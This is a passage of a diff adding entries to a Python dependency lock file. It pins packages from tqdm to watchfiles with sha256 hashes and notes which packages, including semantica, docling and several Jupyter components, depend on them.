--hash=sha256:7b94ff0e128fe0542f3bd331fb44d06260fc4ac16881545159f34ef08aad4195 \ + --hash=sha256:7e2360a0ffbe145eca8af0b19cb7203d79b1a98dd4cccdd6b368f6f49c2e3808 \ + --hash=sha256:9452e1b208a8bd771e2cb1f2ff564985b9b214bdebbe622793e1799e0a6bd23f \ + --hash=sha256:9715b5eb79735b2bcd454ce216a9275b7c0470e64ea1bf5742f78b2f72b26eeb \ + --hash=sha256:cc6aa787d7cfab7c3d35189dc7a56fbd2399a569624c730c6b55b3d6531d0403 + # via + # ipykernel + # jupyter-client + # jupyter-server + # jupyterlab + # notebook + # terminado +tqdm==4.70.0 \ + --hash=sha256:55b0b0dbd97462d06ebee91e4dac24ed4d4702be82b24f07e6c1d27e08cea220 \ + --hash=sha256:7f585706bfddbdebf89daac705b2dfcc16890130727d3197ca62c732b4310953 + # via + # semantica (pyproject.toml) + # bertopic + # d3blocks + # docling-ibm-models + # docling-slim + # fastembed + # huggingface-hub + # mpire + # openai + # rapidocr + # semchunk + # sentence-transformers + # spacy + # transformers + # umap-learn +traitlets==5.16.1 \ + --hash=sha256:ed900c2b631aa3a112811139fa97b8d2c3bad5e989656bba4b7e52c7852c18c1 \ + --hash=sha256:f775618166caa0396c8e337099240f2bd3e5e917d203b2e6fbe21a58d3cb1f6b + # via + # ipykernel + # ipython + # ipywidgets + # jupyter-builder + # jupyter-client + # jupyter-console + # jupyter-core + # jupyter-events + # jupyter-server + # jupyterlab + # matplotlib-inline + # nbclient + # nbconvert + # nbformat +transformers==5.15.0 \ + --hash=sha256:bbf98f57b2ddd7c4ecbccfa2c0069017aa6fd01cc204bd50cbc0eeadcf2a13b8 \ + --hash=sha256:d7f007736f67749ae9490c4f8cb5d30b452ae2d68c8675e50ba8d63ea7feb107 + # via + # semantica (pyproject.toml) + # docling-core + # docling-ibm-models + # sentence-transformers +tree-sitter==0.26.0 \ + --hash=sha256:00289bfe7978f3e0dc0ce69813a20fa9f44ea4c100b3ec62043e5eb74ccfc3a2 \ + --hash=sha256:0f8793fd18ad7eec276ed4b51c097b4bf2002b357259b66b0d75db1f3f41c754 \ + --hash=sha256:10f0d4eb94aa7242dcb7f554bcd24dd7ba1c114f00d58759ba08c7a46c8ec51a \ + --hash=sha256:17a1c5cfd3a05d5c7c86bf4282b6ef8092c91dc0a98390499669c3fedb7d1814 \ + --hash=sha256:1d6fe0e8fb4df77b5ee816228e2c4475a63d8cc1d4d3a7ffd7097b2b87fc3e95 \ + --hash=sha256:253df7ab82cc0a9d311cd65f06e9f99fb3eac55996ae9fc94da22f123a861b90 \ + --hash=sha256:26c996c1edfee86e977bb3f5462e74fcec0d0b0db1e85a3c475875763caa03be \ + --hash=sha256:2f941cea06128c1f74f8937a8e2a90c7db49cf4be6647cd9e07d92a306d91517 \ + --hash=sha256:30a88be89ff1f2755297f81e8080d88b795dd98720c3f9fa2acf93873182cc95 \ + --hash=sha256:335294ce0504fcefde5245dff596778ffaf820205b98ae0b549c72e48855f1d8 \ + --hash=sha256:3f3c44339dd34fe8eb2b8d5aa7610660499a795f70376b130bbee7a437337280 \ + --hash=sha256:514a9bf8993e5210e7970736aaf6020d1759b670e195ef17b1c48f586aa30736 \ + --hash=sha256:526a165a2cb1d1f79e247d400f0e0acd8d49a817d6f312d543513af200b1f886 \ + --hash=sha256:5a3c93a352b7e6f70f73e121bbfa2d0117ba7478bd51114ed35c91b0b78814fa \ + --hash=sha256:5a6b333b0282d8bb0af741f9b018bd2523d4eecb2686bf6717066a625fecfaa4 \ + --hash=sha256:5fc2f41bf246ff2f70a9cc3690be35ec7580a4923151873d898c8bcb1a4503d3 \ + --hash=sha256:6189c6c340c7384357711e3d92645e96bfb79f7a502f86de1ebdb23eb43f7dab \ + --hash=sha256:6cb2bd20efb2544c19ac54486ab7cb8ec7b36f913bbe1ce95df84acb96743d9c \ + --hash=sha256:7075ef857ef86f327dbb72d1e2574dda78db5754b3a1fca6506acd7fe5d561a7 \ + --hash=sha256:763627db05db34f12333081bd7422cc1c675893d373cc870b3e9249e200700e4 \ + --hash=sha256:7bcbadfa614326debef581957d5c780a9d7f66065c13deea61aa21d1dd36263f \ + --hash=sha256:823251c4b6725a7c03ed497a339135ede7ae4bdde75bb8be7ef5e305aeb4ff52 \ + --hash=sha256:8ff2e0750b7daa722302838356d7b65e303829b7eb73c915df127ddba115e1d1 \ + --hash=sha256:918d89529786873f0982a0f59c2a303cd065fbfd1b903d71a8e4e1584f67b42e \ + --hash=sha256:93e220cab7e6a823efeb2046c49171427de92ef71c7c681c01820d14d8d3721f \ + --hash=sha256:94550e13b6ae576969da40246f4c4abb206380b5375ad43f26dd9151d55438e3 \ + --hash=sha256:a4033fecc8f606c7f2e8b8014d0057b74668a7f0152763606f7bc25c5f9ec64c \ + --hash=sha256:b31a8195d2f224224c530ac814632d98c1dcc123d227442c07c736e86b70d564 \ + --hash=sha256:b40c219edccc4564530c96f8f1556f6202b37cda964d1cbd7bd2b7e68b40a245 \ + --hash=sha256:b8ea92a255c91671a7ec4625aba3ab7bb5220c423630ffbf83c45d7312abe084 \ + --hash=sha256:bc6cb01d5ee75c85424aa1f1c72a82d8f07fd52539a0f3c4a6ed3e8721079b84 \ + --hash=sha256:c56581ad256c4195a21bfe449fed5d44a02fe83a4a7d6e70e6ec302c881191c7 \ + --hash=sha256:ca89e361a276dbc934b28a43dd881199e25d34ff5493ee0ce45f3c52a6124a37 \ + --hash=sha256:dea4b4e27d49e9ec5b785d4f994da000e6726882fcc6ad05ec98478500c71aef \ + --hash=sha256:e9e46b664887d8c1014f1fb33e09454bbdd9ec1fe29b7fd02dde7b46bc1bb81a \ + --hash=sha256:ed0889dbed843ce45ede9f5169c0b2dea2222f12685844a03fadb81f12705867 \ + --hash=sha256:f289be0225ba2ace8e87d6c9639b2bc9ff2b5271afb7c5d39282a4a00e248682 \ + --hash=sha256:f665510f0fcf4636fb9696f1f7853bed7a3bd764b7bb0cb8494e619c14ed5a0c \ + --hash=sha256:f9997ba61368c48ed54e715676afadf703947a1542464e39d047764fb3624b01 \ + --hash=sha256:ff527388df14cb5009f9274faf78cc69a7393ae6acf3b04784b8acca249519c5 \ + --hash=sha256:ff80d4833d330a73184a3ac5132abe93c575d2dea31975c6f15c0d21fef238aa + # via docling-core +tree-sitter-c==0.24.2 \ + --hash=sha256:1628584df0299b5a340aa63f8e67b6c97c91517f52fa7e7a4c557e40adb330a9 \ + --hash=sha256:4a2f4371cd816cc3153458f69062135ebb2ea5f275ddd90494e5c823d778204a \ + --hash=sha256:4d4579a8b54f0a442f903d88d3304cab77cd5c2031d4015baa4f2f8e15d6dcb7 \ + --hash=sha256:5041ef67eb68ce6bc8bb0b1f8ef3a5585ce523dae0c7eec109ab0627dd75aede \ + --hash=sha256:82842c5a5f2acd93f4de10038c33ac179c8979defc39376f990348d6289e933b \ + --hash=sha256:97bc80a224d48215d4e6e6376bf30d114f4c317b8145ff1b02afe785d4ba7bdd \ + --hash=sha256:abb549225091f7b25df2dd3a0143ece6e208f7055d8bcb4700b41ee79b9ef1e1 \ + --hash=sha256:c098bedcd5ac86ff93fa734d51d1dd86aed40fd5ed7d634c7af11380a0469969 \ + --hash=sha256:e2b42e8e22202c251f8629306f9321233542e07a6e01611b5fe83489272143eb + # via docling-core +tree-sitter-javascript==0.25.0 \ + --hash=sha256:199d09985190852e0912da2b8d26c932159be314bc04952cf917ed0e4c633e6b \ + --hash=sha256:1b852d3aee8a36186dbcc32c798b11b4869f9b5041743b63b65c2ef793db7a54 \ + --hash=sha256:329b5414874f0588a98f1c291f1b28138286617aa907746ffe55adfdcf963f38 \ + --hash=sha256:622a69d677aa7f6ee2931d8c77c981a33f0ebb6d275aa9d43d3397c879a9bb0b \ + --hash=sha256:8264a996b8845cfce06965152a013b5d9cbb7d199bc3503e12b5682e62bb1de1 \ + --hash=sha256:9dc04ba91fc8583344e57c1f1ed5b2c97ecaaf47480011b92fbeab8dda96db75 \ + --hash=sha256:b70f887fb269d6e58c349d683f59fa647140c410cfe2bee44a883b20ec92e3dc \ + --hash=sha256:dfcf789064c58dc13c0a4edb550acacfc6f0f280577f1e7a00de3e89fc7f8ddc \ + --hash=sha256:e5ed840f5bd4a3f0272e441d19429b26eedc257abe5574c8546da6b556865e3c + # via docling-core +tree-sitter-python==0.25.0 \ + --hash=sha256:0fbf6a3774ad7e89ee891851204c2e2c47e12b63a5edbe2e9156997731c128bb \ + --hash=sha256:14a79a47ddef72f987d5a2c122d148a812169d7484ff5c75a3db9609d419f361 \ + --hash=sha256:480c21dbd995b7fe44813e741d71fed10ba695e7caab627fb034e3828469d762 \ + --hash=sha256:71959832fc5d9642e52c11f2f7d79ae520b461e63334927e93ca46cd61cd9683 \ + --hash=sha256:86f118e5eecad616ecdb81d171a36dde9bef5a0b21ed71ea9c3e390813c3baf5 \ + --hash=sha256:9bcde33f18792de54ee579b00e1b4fe186b7926825444766f849bf7181793a76 \ + --hash=sha256:b13e090f725f5b9c86aa455a268553c65cadf325471ad5b65cd29cac8a1a68ac \ + --hash=sha256:be71650ca2b93b6e9649e5d65c6811aad87a7614c8c1003246b303f6b150f61b \ + --hash=sha256:e6d5b5799628cc0f24691ab2a172a8e676f668fe90dc60468bee14084a35c16d + # via docling-core +tree-sitter-typescript==0.23.2 \ + --hash=sha256:05db58f70b95ef0ea126db5560f3775692f609589ed6f8dd0af84b7f19f1cbb7 \ + --hash=sha256:3cd752d70d8e5371fdac6a9a4df9d8924b63b6998d268586f7d374c9fba2a478 \ + --hash=sha256:3f730b66396bc3e11811e4465c41ee45d9e9edd6de355a58bbbc49fa770da8f9 \ + --hash=sha256:4b1eed5b0b3a8134e86126b00b743d667ec27c63fc9de1b7bb23168803879e31 \ + --hash=sha256:7b167b5827c882261cb7a50dfa0fb567975f9b315e87ed87ad0a0a3aedb3834d \ + --hash=sha256:8d4f0f9bcb61ad7b7509d49a1565ff2cc363863644a234e1e0fe10960e55aea0 \ + --hash=sha256:c7cc1b0ff5d91bac863b0e38b1578d5505e718156c9db577c8baea2557f66de8 \ + --hash=sha256:e96d36b85bcacdeb8ff5c2618d75593ef12ebaf1b4eace3477e2bdb2abb1752c + # via docling-core +triton==3.7.1 \ + --hash=sha256:10ba85fa2cca4a2fbdeb36bf1cb082f2c252bda55bf9fccd74f65ec5bc647e68 \ + --hash=sha256:2020153b08280415ec0da6607834e79166442147e78e144df06b508c75b186d2 \ + --hash=sha256:3daf64305d6cea88d3334c65ebc9bcd0c64c9564a977084366aa768d57cbcf64 \ + --hash=sha256:58c0e131da05134a2a4788ccbcc0c1105cf0f54c8e98f19e34cd465396dc15eb \ + --hash=sha256:6744957e9fd610a29680ec2346057d0c86948ed3812468670719f391e94b44a5 \ + --hash=sha256:7e40869937a68206ec70d7f25bb7ec6433cb083f9135e1f36dbd318dc449a728 \ + --hash=sha256:9497f2e696ee368862a181a90b2dcc03ca978cc4f602abd67c7d81022a6988e1 \ + --hash=sha256:c58e4c61f0c73b5dba3b5d19b4a7093c32f90dc18b2a7f121a7c16ccd31107b7 \ + --hash=sha256:cdbfc09d9ec58bc5e68321525653220de7515c199e7a8097a97c85e62b52cd0a \ + --hash=sha256:d4a0e1cd4c4a76370ed74a8432a53cea28716827d19e40ffc732233e35ceb3f6 \ + --hash=sha256:ee89fbf782ec2ad50391dd1cf26cbea4f4467154c37f4773026da8fc31c0f58e \ + --hash=sha256:fe4ea396a06171f1f1f58cbd39c70b09294398f7dd7c620939bab54ad6f934fa + # via torch +typer==0.26.8 \ + --hash=sha256:3512ca79ac5c11113414b36e80281b872884477722440691c89d1112e321a49c \ + --hash=sha256:c244a6bd558886fe3f8780efb6bdd28bb9aff005a94eedebaa5cb32926fe2f7e + # via + # agnoctl + # doclang + # docling-core + # docling-slim + # instructor + # spacy + # transformers + # weasel +typing-extensions==4.16.0 \ + --hash=sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8 \ + --hash=sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5 + # via + # agno + # aiohttp + # aiosignal + # anthropic + # anyio + # azure-core + # azure-storage-blob + # beautifulsoup4 + # docling-core + # fastapi + # google-genai + # groq + # grpcio + # huggingface-hub + # ipython + # jupyter-client + # jupyterlab + # librosa + # mypy + # openai + # opentelemetry-api + # opentelemetry-sdk + # opentelemetry-semantic-conventions + # pinecone-client + # polyfactory + # psycopg + # psycopg-pool + # pydantic + # pydantic-core + # pytest-asyncio + # python-docx + # python-oxmsg + # python-pptx + # referencing + # sentence-transformers + # soundfile + # starlette + # torch + # typing-inspection +typing-inspection==0.4.4 \ + --hash=sha256:547274fa6b0a561ccf549cc9524b999a578e737d015d8709d021f9d0d13bea47 \ + --hash=sha256:65b8397ba37ccbce054456aaccddfc91e6e3083c92824df348d96ca832f3f147 + # via + # fastapi + # pydantic + # pydantic-settings +tzdata==2026.3 \ + --hash=sha256:4a1518b8993086a7982523e071643f3c0e5f213e75b21318e78bcabfff9d1415 \ + --hash=sha256:dc096730c87af6cab1b171c9d532be840741ff5d459015e7f6947bd7d7e54931 + # via + # arrow + # kombu +tzlocal==5.4.4 \ + --hash=sha256:8dbb8660838688a7b6ba4fed31d18dedf842afb4d47ca050d6d891c2c15f3be4 \ + --hash=sha256:aae09f0126a8a86fa736be266eb4a471380d26a0de3bc14844e7821fee3e2a15 + # via celery +umap-learn==0.5.12 \ + --hash=sha256:6aff02ecac5f2aad9f3c65ee518d7ae93e1a985ae38721fdcffceee4232c33c7 \ + --hash=sha256:f2a85d2a2adcb52b541bed9b27a23ca169b56bb1b23283abeebfb8dfb8a42fe5 + # via + # semantica (pyproject.toml) + # bertopic +uri-template==1.3.0 \ + --hash=sha256:0e00f8eb65e18c7de20d595a14336e9f337ead580c70934141624b6d1ffdacc7 \ + --hash=sha256:a44a133ea12d44a0c0f06d7d42a52d71282e77e2f937d8abd5655b8d56fc1363 + # via jsonschema +urllib3==2.7.0 \ + --hash=sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c \ + --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 + # via + # botocore + # pinecone-client + # qdrant-client + # requests +uvicorn==0.52.1 \ + --hash=sha256:112ec661814189acbccd3f7b86460147cc065fc92c0821afa78918780e4354dd \ + --hash=sha256:e4403f9d93188cf9d1088e9f40e3acd12630e2df8675316704379a7fc20fff6a + # via semantica (pyproject.toml) +uvloop==0.22.1 \ + --hash=sha256:017bd46f9e7b78e81606329d07141d3da446f8798c6baeec124260e22c262772 \ + --hash=sha256:0530a5fbad9c9e4ee3f2b33b148c6a64d47bbad8000ea63704fa8260f4cf728e \ + --hash=sha256:05e4b5f86e621cf3927631789999e697e58f0d2d32675b67d9ca9eb0bca55743 \ + --hash=sha256:0ae676de143db2b2f60a9696d7eca5bb9d0dd6cc3ac3dad59a8ae7e95f9e1b54 \ + --hash=sha256:1489cf791aa7b6e8c8be1c5a080bae3a672791fcb4e9e12249b05862a2ca9cec \ + --hash=sha256:17d4e97258b0172dfa107b89aa1eeba3016f4b1974ce85ca3ef6a66b35cbf659 \ + --hash=sha256:1cdf5192ab3e674ca26da2eada35b288d2fa49fdd0f357a19f0e7c4e7d5077c8 \ + --hash=sha256:1f38ec5e3f18c8a10ded09742f7fb8de0108796eb673f30ce7762ce1b8550cad \ + --hash=sha256:286322a90bea1f9422a470d5d2ad82d38080be0a29c4dd9b3e6384320a4d11e7 \ + --hash=sha256:297c27d8003520596236bdb2335e6b3f649480bd09e00d1e3a99144b691d2a35 \ + --hash=sha256:37554f70528f60cad66945b885eb01f1bb514f132d92b6eeed1c90fd54ed6289 \ + --hash=sha256:3879b88423ec7e97cd4eba2a443aa26ed4e59b45e6b76aabf13fe2f27023a142 \ + --hash=sha256:3b7f102bf3cb1995cfeaee9321105e8f5da76fdb104cdad8986f85461a1b7b77 \ + --hash=sha256:40631b049d5972c6755b06d0bfe8233b1bd9a8a6392d9d1c45c10b6f9e9b2733 \ + --hash=sha256:481c990a7abe2c6f4fc3d98781cc9426ebd7f03a9aaa7eb03d3bfc68ac2a46bd \ + --hash=sha256:4a968a72422a097b09042d5fa2c5c590251ad484acf910a651b4b620acd7f193 \ + --hash=sha256:4baa86acedf1d62115c1dc6ad1e17134476688f08c6efd8a2ab076e815665c74 \ + --hash=sha256:512fec6815e2dd45161054592441ef76c830eddaad55c8aa30952e6fe1ed07c0 \ + --hash=sha256:51eb9bd88391483410daad430813d982010f9c9c89512321f5b60e2cddbdddd6 \ + --hash=sha256:535cc37b3a04f6cd2c1ef65fa1d370c9a35b6695df735fcff5427323f2cd5473 \ + --hash=sha256:53c85520781d84a4b8b230e24a5af5b0778efdb39142b424990ff1ef7c48ba21 \ + --hash=sha256:55502bc2c653ed2e9692e8c55cb95b397d33f9f2911e929dc97c4d6b26d04242 \ + --hash=sha256:561577354eb94200d75aca23fbde86ee11be36b00e52a4eaf8f50fb0c86b7705 \ + --hash=sha256:56a2d1fae65fd82197cb8c53c367310b3eabe1bbb9fb5a04d28e3e3520e4f702 \ + --hash=sha256:57df59d8b48feb0e613d9b1f5e57b7532e97cbaf0d61f7aa9aa32221e84bc4b6 \ + --hash=sha256:6c84bae345b9147082b17371e3dd5d42775bddce91f885499017f4607fdaf39f \ + --hash=sha256:6cde23eeda1a25c75b2e07d39970f3374105d5eafbaab2a4482be82f272d5a5e \ + --hash=sha256:6e2ea3d6190a2968f4a14a23019d3b16870dd2190cd69c8180f7c632d21de68d \ + --hash=sha256:700e674a166ca5778255e0e1dc4e9d79ab2acc57b9171b79e65feba7184b3370 \ + --hash=sha256:7b5b1ac819a3f946d3b2ee07f09149578ae76066d70b44df3fa990add49a82e4 \ + --hash=sha256:7cd375a12b71d33d46af85a3343b35d98e8116134ba404bd657b3b1d15988792 \ + --hash=sha256:80eee091fe128e425177fbd82f8635769e2f32ec9daf6468286ec57ec0313efa \ + --hash=sha256:93f617675b2d03af4e72a5333ef89450dfaa5321303ede6e67ba9c9d26878079 \ + --hash=sha256:a592b043a47ad17911add5fbd087c76716d7c9ccc1d64ec9249ceafd735f03c2 \ + --hash=sha256:ac33ed96229b7790eb729702751c0e93ac5bc3bcf52ae9eccbff30da09194b86 \ + --hash=sha256:b31dc2fccbd42adc73bc4e7cdbae4fc5086cf378979e53ca5d0301838c5682c6 \ + --hash=sha256:b45649628d816c030dba3c80f8e2689bab1c89518ed10d426036cdc47874dfc4 \ + --hash=sha256:b76324e2dc033a0b2f435f33eb88ff9913c156ef78e153fb210e03c13da746b3 \ + --hash=sha256:b91328c72635f6f9e0282e4a57da7470c7350ab1c9f48546c0f2866205349d21 \ + --hash=sha256:badb4d8e58ee08dad957002027830d5c3b06aea446a6a3744483c2b3b745345c \ + --hash=sha256:bc5ef13bbc10b5335792360623cc378d52d7e62c2de64660616478c32cd0598e \ + --hash=sha256:c1955d5a1dd43198244d47664a5858082a3239766a839b2102a269aaff7a4e25 \ + --hash=sha256:c3e5c6727a57cb6558592a95019e504f605d1c54eb86463ee9f7a2dbd411c820 \ + --hash=sha256:c60ebcd36f7b240b30788554b6f0782454826a0ed765d8430652621b5de674b9 \ + --hash=sha256:daf620c2995d193449393d6c62131b3fbd40a63bf7b307a1527856ace637fe88 \ + --hash=sha256:e047cc068570bac9866237739607d1313b9253c3051ad84738cbb095be0537b2 \ + --hash=sha256:ea721dd3203b809039fcc2983f14608dae82b212288b346e0bfe46ec2fab0b7c \ + --hash=sha256:ef6f0d4cc8a9fa1f6a910230cd53545d9a14479311e87e3cb225495952eb672c \ + --hash=sha256:fe94b4564e865d968414598eea1a6de60adba0c040ba4ed05ac1300de402cd42 + # via uvicorn +validators==0.35.0 \ + --hash=sha256:992d6c48a4e77c81f1b4daba10d16c3a9bb0dbb79b3a19ea847ff0928e70497a \ + --hash=sha256:e8c947097eae7892cb3d26868d637f79f47b4a0554bc6b80065dfe5aac3705dd + # via weaviate-client +vine==5.1.0 \ + --hash=sha256:40fdf3c48b2cfe1c38a49e9ae2da6fda88e4794c810050a728bd7413811fb1dc \ + --hash=sha256:8b62e981d35c41049211cf62a0a1242d8c1ee9bd15bb196ce38aefd6799e61e0 + # via + # amqp + # celery + # kombu +virtualenv==21.7.4 \ + --hash=sha256:376ec93cd6aab3044fa395d7db226db38043b7b5748948044b2a87168525e843 \ + --hash=sha256:c9d960c95fa458171e58222a5ccab7465298e4b6559977865e627c4719f1e825 + # via pre-commit +wasabi==1.1.3 \ + --hash=sha256:4bb3008f003809db0c3e28b4daf20906ea871a2bb43f9914197d540f4f2e0878 \ + --hash=sha256:f76e16e8f7e79f8c4c8be49b4024ac725713ab10cd7f19350ad18a8e3f71728c + # via + # spacy + # thinc + # weasel +watchdog==6.0.0 \ + --hash=sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a \ + --hash=sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2 \ + --hash=sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f \ + --hash=sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c \ + --hash=sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c \ + --hash=sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c \ + --hash=sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0 \ + --hash=sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13 \ + --hash=sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134 \ + --hash=sha256:7a0e56874cfbc4b9b05c60c8a1926fedf56324bb08cfbc188969777940aef3aa \ + --hash=sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e \ + --hash=sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379 \ + --hash=sha256:90c8e78f3b94014f7aaae121e6b909674df5b46ec24d6bebc45c44c56729af2a \ + --hash=sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11 \ + --hash=sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282 \ + --hash=sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b \ + --hash=sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f \ + --hash=sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c \ + --hash=sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112 \ + --hash=sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948 \ + --hash=sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881 \ + --hash=sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860 \ + --hash=sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3 \ + --hash=sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680 \ + --hash=sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26 \ + --hash=sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26 \ + --hash=sha256:e6439e374fc012255b4ec786ae3c4bc838cd7309a540e5fe0952d03687d8804e \ + --hash=sha256:e6f0e77c9417e7cd62af82529b10563db3423625c5fce018430b249bf977f9e8 \ + --hash=sha256:e7631a77ffb1f7d2eefa4445ebbee491c720a5661ddf6df3498ebecae5ed375c \ + --hash=sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2 + # via semantica (pyproject.toml) +watchfiles==1.2.0 \ + --hash=sha256:01859b11fd9fbca670f4d5da00fbac282cfea9bd67a2125d8b2833a3b5617ea9 \ + --hash=sha256:01ea8d66f0693b9b60a6541c8d10263091ca9a9060d242f3c1f3143f9aad2c98 \ + --hash=sha256:027ae72bfdfd254862065d8b3e2a815c6ab9b1853ce41e6648ece84afd34a551 \ + --hash=sha256:03b14855c6f35539e2d95c442ae9530a75762f1e26567152b9ed05f96534a74d \ + --hash=sha256:054dc20fd2e3132b4c3883b4a00d72fd6e1f56fdaf89fccd12e8057d74cd74d7 \ + --hash=sha256:094b9b70103d4e963499bdea001ee3c2697b144cd9ae6218a62c0f89ec9e31db \ + --hash=sha256:0a105bc2283f67e8fbec74253ec2d94925de92ed72c0393f1206bf326b7b7b69 \ + --hash=sha256:0a37faaed405c67e28e6be45a1fa4f206ef5a2860f27c237db9fa30704c38242 \ + --hash=sha256:0c4997d4e4a55f0d02b6cde327322daf3a0400e5df6c6b15948994bf72497925 \ + --hash=sha256:0cb4d80e212f116474a545c21c912b445f16bb0cef9e6a73a498164223e14e2f \ + --hash=sha256:0d191c054d0715c3c95c99df9b8dbf6fd096d8c1e021e8f212e1bd8bc444ccb5 \ + --hash=sha256:0e831a271c035d89789cffc386b6aa1375f39f1cd25eb7ca0997e4970d152fc5 \ + --hash=sha256:10d86db20695afe7997ac9e1717637d6714a8d0220458c33f3d2061f54cec427 \ + --hash=sha256:11743adfa510bfffebe97659fb280182b5c9b238708f667e866f308c3430dc19 \ + --hash=sha256:1bc6195825b7dcd217968bb1f801a60fd4c16e8eeab5bedc7fe917d7d5995ab4 \ + --hash=sha256:204f299afcbd65918ab78dbc52626b0ae45e9d8cef403fdbf33ecf9e40eac66e \ + --hash=sha256:20aa0e708b920bde876a4aa82dc7dd6ebea228a63a67cda6632c2fc87b787efa \ + --hash=sha256:23282a321c8baf9b3a3c4afff673f9fe65eb7fdc2338d765ccad9d3d1916a5ba \ + --hash=sha256:24b2405c0a46738dd9e1cf7135aa5dbdb9d42d024628651b3b13d5117e99f8df \ + --hash=sha256:2581a94056e55d7d0a31a823ea92bf73749c489ca2285bfdc0fbe6b2bb49d50c \ + --hash=sha256:2995c176de7692b86a2e4c58d9ec718f753150a979cb4a754e2b4ffa38e70906 \ + --hash=sha256:2b37d10b5a63bd4d87e18472d80fa525bd670586fae62e5dd580452764879b65 \ + --hash=sha256:2cb93af48550faf1cea04c303107c8b75833de7013e57ce27d3b8d21d8d0f58c \ + --hash=sha256:2d95ddc1eb6914154253d239089900813f6a767e174b8e6a50e7fdacb7e4236c \ + --hash=sha256:3416ff151bb6b5a8d8d11664974fbef4d9305b9b2957839ab5a270468fd8df30 \ + --hash=sha256:3651aa7058595e9cfb75d35dd5ada2bf9f48a5b8a0f3562821d3e210c507e077 \ + --hash=sha256:37a6721cdf3f65dbb13aa9503510ccb4451603ac837e44d265d7992a597e1374 \ + --hash=sha256:41bc1199f7523b3f82843c88cbb979180c949caef0342cf90968f178e5d49b01 \ + --hash=sha256:43d818978d06062d9b22c4fab2ebe44cf5213d42dc8e62bda8c2760cfa2eeb33 \ + --hash=sha256:4429f3b105524a10b72c3a819b091c495d2811d419c1e1e8df773a5a5974f831 \ + --hash=sha256:4543579a9bdb0c9560039b4ffddbdb39545707659fbc430ce4c10f3f68d557f9 \ + --hash=sha256:4674d49eb94706dfe666c069fc0a1b646ffcf920473492e209f6d5f60d3f0cc2 \ + --hash=sha256:4c887eba18b7945ac73067a8b4a66f21cd46c2539b2bc68588f7be6c7eb6d26b \ + --hash=sha256:4e4ff8e37f99cf1da89e255e07c9c4b37c214038c4283707bdec308cb1b0ea1f \ + --hash=sha256:4f34e26a19f91f710c08e0183429f0d1d15df734e6bc78c31e77b9ea9c433658 \ + --hash=sha256:5327989a465505f05cfe06f04fa9d0c2fd5432bb243e10e6f012b1bdca3c8579 \ + --hash=sha256:53b2290c92e0506d102cd448fbc610d87079553f86caa39d67440856a8b8bba5 \ + --hash=sha256:56d8641cf834c2836922899105bd3ce3d0dfc69291d52edf0b4d0436829b34c0 \ + --hash=sha256:57a2d9fa4fb4c2ecae57b13dfff2c7ab53e21a2ba674fe9f05506680fcdcc0d7 \ + --hash=sha256:63ac26eefbf4af1741247d6fb68b11c49a25b2f7413fbd318a83a12aaa9cf666 \ + --hash=sha256:6543cf55d170003296d185c0af981f3e1311564907e1f4e08671fc7693a890a5 \ + --hash=sha256:704fd259e332e01f9b9c178f4bce9e49027e5587cc2600eeeaf8e76e1c846201 \ + --hash=sha256:71283b39fd17e5408eb123bd37aeecfd9d54c81fc184421943208aadb879d103 \ + --hash=sha256:71cd71740ed2c15211ebb237ced4e39a1cdf6f80566e5fe95428da1626f4fde6 \ + --hash=sha256:7571e4464cb6e434958f867f7f730b8ab0b75e3f8e5eac0499168486ab3c33a8 \ + --hash=sha256:772b80df316480d894a0e3165fdd19cf77f5d17f9a787f94029465ad0e3529d1 \ + --hash=sha256:77a0feab9af4c021c581f695258c642b3d10c5fd4c676e33a0d8606425d82631 \ + --hash=sha256:7a2cffd17d27d2ecbb310c2b1d8174f222a5495b1a721894afa88ec11e25b898 \ + --hash=sha256:7a7ce236284f002a156f70add88efe5c70879cccbb658be0822c54b1306fc09d \ + --hash=sha256:7ba0480b9a74af058f43b337e937a451e109295c420916d68ad24e3dc02f5e44 \ + --hash=sha256:8520a4ab0e37f770afc34459c4f8f7019e153f9124dc101c15538365875d1ab2 \ + --hash=sha256:86bc13c25a8d1fcd70b51d0ce7c9b65e90de5666fcbfd3e34957cc73ee19aeb5 \ + --hash=sha256:89d8c2394a065ca86f5d2910ff263ae67c127e1376ccc4f9fc35c71db879f80a \ + 